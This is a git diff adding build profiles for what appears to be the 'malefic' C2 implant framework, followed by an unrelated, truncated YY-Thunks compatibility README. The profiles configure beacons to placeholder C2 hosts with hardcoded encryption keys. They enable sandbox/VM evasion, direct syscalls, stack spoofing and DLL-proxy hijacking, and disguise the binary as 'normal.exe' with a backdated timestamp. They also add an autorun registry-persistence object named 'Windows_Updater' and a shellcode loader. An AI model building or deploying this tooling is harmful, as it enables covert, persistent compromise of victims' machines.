enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-tcp-tls/implant.yaml b/profiles/malefic-tcp-tls/implant.yaml new file mode 100644 index 0000000..498558a --- /dev/null +++ b/profiles/malefic-tcp-tls/implant.yaml @@ -0,0 +1,122 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "example.com:5001" # ip:port + tcp: {} + tls: + enable: true + sni: "example.com" + skip_verification: false + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-tcp/implant.yaml b/profiles/malefic-tcp/implant.yaml new file mode 100644 index 0000000..110d878 --- /dev/null +++ b/profiles/malefic-tcp/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-with-prelude/implant.yaml b/profiles/malefic-with-prelude/implant.yaml new file mode 100644 index 0000000..855b8e4 --- /dev/null +++ b/profiles/malefic-with-prelude/implant.yaml @@ -0,0 +1,135 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:8080" # ip:port + http: + method: "POST" + path: "/" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Content-Type: "application/octet-stream" + tls: + enable: false + skip_verification: true + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: # module when malefic compile + - "full" + enable_3rd: false # enable 3rd module + 3rd_modules: # 3rd module when malefic compile + - full + + prelude: "prelude.yaml" # autorun config filename + pack: [] # pack + # - src: "1.docx" + # dst: "1.docs" + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # åæ²™ç®±å调试å编译åå–è¯ç›¸å…³ + sandbox: false + vm: false # enable anti vm + # debug: true # enable anti debug + # disasm: true # enable anti disasm + # emulator: true # enable anti emulator + # forensic: true # enable anti forensic + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/malefic-with-prelude/prelude.yaml b/profiles/malefic-with-prelude/prelude.yaml new file mode 100644 index 0000000..4fb04ee --- /dev/null +++ b/profiles/malefic-with-prelude/prelude.yaml @@ -0,0 +1,9 @@ +- name: bof + depend_on: execute_bof + body: !ExecuteBinary + name: bof + bin: !File "persist_with_reg.x64.o" + Arc: 1 + args: + - "str:Windows_Updater" + - "str:self" \ No newline at end of file diff --git a/profiles/malefic-with-prelude/resources/persist_with_reg.x64.o b/profiles/malefic-with-prelude/resources/persist_with_reg.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..24fd74eafd0a89bddfef8c693c27e95ab9d38b9b GIT binary patch literal 3006 zcmZ`*|8G-O6u)on00#tA@Ea-@(uGY%Z9yY0YF4_!BXpzLVEnMn@z&nX#;&h|{&r&(Hnw-Ov+nQC;} zG*{9EWv7T|G&>x?ykCWaEXLq(AUfB~i-Gb_XDcr@5G}X!`jEpnGG(?7CIc)s@cawS zwj9F=FW0(;<~@3BY*amSM@>6d($4n@=O@+qPOYRPJ+;k5Qx|s8C;qdPT~nRa>ba`@ zkXmuow|muvS6!ZSsrCyr*6#soh^UW&%0aof9-VX=uijp#)(w8Wpr~h-)bZD+CNEPY z95Fb{h$4Q~3!$<(1ylH5|MHCsim?d}%dHOKf{$NzlR14yMP1`n)w!-ZgOQl({0NH$ zSg6k3dREV12$%LAwPHnHiC+a{5t7>Smth!#c(Yuq)y`HooP8MMgU%lyEQ5fcmemTp zrsCDaMbwh1S1y5Zil*Wq-6JpV+9aGRV(x)#I|wrU<#eT!7!VFOgttB;Q9U?#Rvin@ zoWE;Tbs-&zB`$)?FhO%s&Q&pmJHhdWuY=BgIIlDWu7}#S+i4F#dmdU!q!G-woXo zuUhLyF4$K`B0UrlC*iH+gIaCTZR6V}`IuI;1uto{f@if-Nw@g4;9|CH&37@Zs~kRSUhVRhA3HFG@D9)8FDgh=kvk4*> z*3eCiCXN+KIsJq=;n|G|!z}2fi4nWxu0SI>y(~)H5HkhSGUoZ4VxIR1!_W=ho$Hm^ z9TM~XTs@RLIze;M`ZcUgERApcmb>h&=8a;=V7tb5PV!MZn-!*+w~NJjuH|xA8_l+K z!!B{GvO#qMYa|d>Fa)Sty%N2ptbyqU4-cnWLq`!z!8K#Xp2d{NOg3drCtLGwI2JnI zQC2dHDV-gxbGH&x)~;e}m0niYDEOa;r=?BBv!(A3_-*vQ`>=7J0H*Kz`1JrENGAJv z&w=5iy*&P6baylcS+H%vfNa8SJNhSG)Q_HghFKE*Q!Wy|tPDg}VfGRFr(N_ZdTH^w zk1hd8-c4V27l@9sFuU(-yYR=9wmW^4@zEI2v#v$Xml-~q_t6JHGSUk`TV0DUfVhjk z29k4J_t8Bc)qJ!Ht0sAye6-a^yL^=OkqIQT#6*m$8bWq;gbSTL;>zfrlUnjG(I#I@ z6_7GoPl>p%jrcOEsMPlP+GrjJ2S(H$)EJvlysaJ0N}<>PG~|(tVvIU;7f*9LvpCD&267Iqz6t&q3XA{p@2vR6Ree#yxqq6 zuubxDn`Eg?a-&W1XPe~Fz}j}OC`R%f7&&?JB+Jmrm8c(F?0~SmQ@(Kk(v8Ftxm-dX zszK|islse|YM;=udT9`ERo5G9m8Rw_L(5v8d}wqmIdUX|E21b$P27x8C|P+=bSO14 zoJ#N69YIJ#dd@D2{rD>kjNzK&_g33{0xySy> L+GJ5T1#H=WHezU2 literal 0 HcmV?d00001 diff --git a/profiles/prelude-shellcode/implant.yaml b/profiles/prelude-shellcode/implant.yaml new file mode 100644 index 0000000..110d878 --- /dev/null +++ b/profiles/prelude-shellcode/implant.yaml @@ -0,0 +1,118 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/1 * * * * * *" # every 1 second + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" # implant private key + public_key: "" # server public key + + # DGA + dga: + enable: false + key: "malefic_dga_2024" # key + interval_hours: 8 # generate once every 8 hours + + # Guardrail + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + # http + - address: "127.0.0.1:5001" # ip:port + tcp: {} + +build: + zigbuild: false + obfstr: true + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false # Bogus Control Flow Obfuscation + splitobf: false # Split Control Flow Obfuscation + subobf: false # Instruction Substitution Obfuscation + fco: false # Function CallSite Obfuscation + constenc: false # Constant Encryption Obfuscation + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false # whether to require admin privilege + require_uac: false # whether to require uac privilege + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + http: + method: "POST" + path: "/pulse" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + + +implants: + runtime: tokio # async runtime: smol/tokio/async-std + mod: beacon # malefic mod: beacon/bind + register_info: true # whether collect sysinfo when register + hot_load: true # enable hot load module + modules: [] # module when malefic compile + enable_3rd: false # enable 3rd module + 3rd_modules: [] # 3rd module when malefic compile + + prelude: "" # autorun config filename + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + + # for professional + anti: # + sandbox: false + vm: false # enable anti vm + + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true diff --git a/profiles/prelude-shellcode/prelude.yaml b/profiles/prelude-shellcode/prelude.yaml new file mode 100644 index 0000000..5dd3e3d --- /dev/null +++ b/profiles/prelude-shellcode/prelude.yaml @@ -0,0 +1,6 @@ +- name: execute_shellcode + depend_on: execute_shellcode + body: !ExecuteBinary + name: execute_shellcode + bin: !File "shellcode.bin" + Arc: 1 \ No newline at end of file diff --git a/profiles/prelude-shellcode/resources/shellcode.bin b/profiles/prelude-shellcode/resources/shellcode.bin new file mode 100644 index 0000000..adaf775 --- /dev/null +++ b/profiles/prelude-shellcode/resources/shellcode.bin @@ -0,0 +1 @@ +shellcode file \ No newline at end of file diff --git a/profiles/pulse-tcp/implant.yaml b/profiles/pulse-tcp/implant.yaml new file mode 100644 index 0000000..39c9988 --- /dev/null +++ b/profiles/pulse-tcp/implant.yaml @@ -0,0 +1,116 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:5001" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 6 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:5001 + protocol: "tcp" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-winhttp-http/implant.yaml b/profiles/pulse-winhttp-http/implant.yaml new file mode 100644 index 0000000..e8b0c86 --- /dev/null +++ b/profiles/pulse-winhttp-http/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:80" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + api_type: "winhttp" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-winhttp-https/implant.yaml b/profiles/pulse-winhttp-https/implant.yaml new file mode 100644 index 0000000..a9c054a --- /dev/null +++ b/profiles/pulse-winhttp-https/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:443" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:443 + protocol: "https" + api_type: "winhttp" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-wininet-http/implant.yaml b/profiles/pulse-wininet-http/implant.yaml new file mode 100644 index 0000000..c06c8eb --- /dev/null +++ b/profiles/pulse-wininet-http/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:80" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:80 + protocol: "http" + api_type: "wininet" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/profiles/pulse-wininet-https/implant.yaml b/profiles/pulse-wininet-https/implant.yaml new file mode 100644 index 0000000..81405fd --- /dev/null +++ b/profiles/pulse-wininet-https/implant.yaml @@ -0,0 +1,124 @@ +basic: + name: "malefic" + proxy: + use_env_proxy: false + url: "" + cron: "*/5 * * * * * *" + jitter: 0.2 + keepalive: false + retry: 10 + max_cycles: -1 + encryption: aes + key: maliceofinternal + + secure: + enable: false + private_key: "" + public_key: "" + + dga: + enable: false + key: "malefic_dga_2024" + interval_hours: 8 + + guardrail: + enable: false + require_all: true + ip_addresses: [] + usernames: [] + server_names: [] + domains: [] + + targets: + - address: "127.0.0.1:443" + tcp: {} + +build: + obfstr: true + zigbuild: false + toolchain: "nightly-2024-02-03" + ollvm: + enable: false + bcfobf: false + splitobf: false + subobf: false + fco: false + constenc: false + metadata: + icon: "" + compile_time: "24 Jun 2015 18:03:01" + file_version: "" + product_version: "" + company_name: "" + product_name: "" + original_filename: "normal.exe" + file_description: "normal" + internal_name: "" + require_admin: false + require_uac: false + +pulse: + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0 + encryption: xor + key: "maliceofinternal" + target: 127.0.0.1:443 + protocol: "https" + api_type: "wininet" + http: + method: "POST" + path: "/pulse" + host: "127.0.0.1" + version: "1.1" + headers: + User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0" + +implants: + runtime: tokio + mod: beacon + register_info: true + hot_load: true + modules: + - "full" + enable_3rd: false + 3rd_modules: + - full + prelude: "" + pack: [] + flags: + start: 0x41 + end: 0x42 + magic: "beautiful" + artifact_id: 0x1 + anti: + sandbox: false + vm: false + apis: + level: "nt_apis" + priority: + normal: + enable: false + type: "normal" + dynamic: + enable: true + type: "user_defined_dynamic" + syscalls: + enable: false + type: "inline_syscall" + alloctor: + inprocess: "NtAllocateVirtualMemory" + crossprocess: "NtAllocateVirtualMemory" + thread_stack_spoofer: true + +loader: + proxydll: + proxyfunc: "" + raw_dll: "" + proxied_dll: "" + proxy_dll: "" + pack_resources: true + block: false + hijack_dllmain: true diff --git a/proto b/proto index aeacc44..13d2289 160000 --- a/proto +++ b/proto @@ -1 +1 @@ -Subproject commit aeacc444076f5bff40aa383f44ae4c27bf11c1a2 +Subproject commit 13d2289e5b8c8929154bb30331f679387836f2f4 diff --git a/resources/YY-Thunks-Objs/Readme.md b/resources/YY-Thunks-Objs/Readme.md new file mode 100755 index 0000000..d5d4886 --- /dev/null +++ b/resources/YY-Thunks-Objs/Readme.md @@ -0,0 +1,180 @@ +# YY-Thunks - It's easier to make your apps compatible with older versions of Windows! +[![license](https://img.shields.io/github/license/Chuyu-Team/YY-Thunks)](https://github.com/Chuyu-Team/YY-Thunks/blob/master/LICENSE) +[![downloads](https://img.shields.io/github/downloads/Chuyu-Team/YY-Thunks/total)](https://github.com/Chuyu-Team/YY-Thunks/releases) +[![contributors](https://img.shields.io/github/contributors-anon/Chuyu-Team/YY-Thunks)](https://github.com/Chuyu-Team/YY-Thunks/graphs/contributors) +[![release](https://img.shields.io/github/v/release/Chuyu-Team/YY-Thunks?include_prereleases)](https://github.com/Chuyu-Team/YY-Thunks/releases) +[![nuget](https://img.shields.io/nuget/vpre/YY-Thunks)](https://www.nuget.org/packages/YY-Thunks) +[![Build&Test](https://github.com/Chuyu-Team/YY-Thunks/actions/workflows/Build&Test.yml/badge.svg)](https://github.com/Chuyu-Team/YY-Thunks/actions/workflows/Build&Test.yml) + +- [简体中文](Readme.osc.md) + +## 1. About YY-Thunks + +With each new version of Windows, a large number of APIs are added, +and it often takes a lot of effort to develop Windows applications +that are compatible with older systems. And some open source projects +are no longer compatible with some earlier versions of Windows, such as Windows XP, Windows 7... + +Isn't there a solution to quickly deal with the problem that the old system can't find the API? + +YY-Thunks can solve these kinds of problems quickly and without changing the code. +These compatibility issues can be resolved automatically by tweaking the linker. +It's easier to make your apps compatible with older versions of Windows! + +[ [YY-Thunks QQ Group 633710173](https://shang.qq.com/wpa/qunwpa?idkey=21d51d8ad1d77b99ea9544b399e080ec347ca6a1bc04267fb59cebf22644a42a) ] + +### 1.1. The principle of YY-Thunks + +Use `LoadLibrary` and `GetProcAddress` to dynamically load the API. +If the API doesn't exist, then implement its behavior and get your program running properly. + +As follows: GetTickCount64 + +```cpp +// Windows XP not support GetTickCount64. +ULONGLONG WINAPI GetTickCount64(VOID) +{ + if (auto const _pfnGetTickCount64 = try_get_GetTickCount64()) + { + return _pfnGetTickCount64(); + } + // Fallback + return GetTickCount(); +} +``` + +### 1.2. Highlight + +* Faster! Safer! Built-in L2 cache and encrypt all function pointers to prevent brute-force memory searches. + Minimize unwanted, unnecessary calls to `LoadLibrary` and `GetProcAddress`. +* Make your application easily compatible with Windows XP so you can focus on your business logic. +* The code is completely open source, and everyone is welcome to create PRs to contribute to the YY-Thunks. + +## 2. How to used? + +You can choose one of the following options, but it is recommended to use NuGet first, +as NuGet is designed to be foolproof and easier to use. + +### 2.1. For Vistual Studio C++ Project +1. Right-click on the `Project` and select `Manage NuGet Packages`, then search for `YY-Thunks` and choose the version that suits you, and finally click Install. +2. For XP support, Right click on the project, Properties - NuGet Packages Settings - YY-Thunks - 最å°å…¼å®¹ç³»ç»Ÿç‰ˆæœ¬ - 5.1.2600.0. +3. Rebuild the solution. + +### 2.2. For Vistual Studio .NET Native AOT Project +1. modify the value of `TargetFramework` to `net8.0-windows` or `net9.0-windows`。 +2. Right-click on the `Project` and select `Manage NuGet Packages`, then search for `YY-Thunks` and choose the version that suits you, and finally click Install. +3. For XP support, please modify the value of `SupportedOSPlatformVersion` to `5.1`. For example: + ```xml + + + + net8.0-windows + 5.1 + + + + + ``` +3. Rebuild the solution. + +### 2.3. For CMake Project +1. Create file `Directory.Build.props` in source directory, and add the following code: + ```xml + + + + + + + native,Version=v0.0 + win;win-x86;win-x64;win-arm;win-arm64 + + + 5.1.2600 + + + + + 1.1.7-Beta3 + + + + + $([MSBuild]::GetPathOfFileAbove('Directory.Build.props', '$(MSBuildThisFileDirectory)../')) + + + + ``` +2. Start Build, for example: + ``` + # The Gen parameter must be use `Visual Studio`, as Visual Studio only supports nuget. + # Assuming that the output dir is `.build\x86-Release`, you can modify it as needed. + cmake -G "Visual Studio 17 2022" -A Win32 -DCMAKE_CONFIGURATION_TYPES:STRING=Release -DCMAKE_INSTALL_PREFIX:PATH=.\build\x86-Release . + + # Note the `-- -r` at the end, which is the command to restore the nuget package. + cmake --build .\build\x86-Release --config Release -- -r + + cmake --install 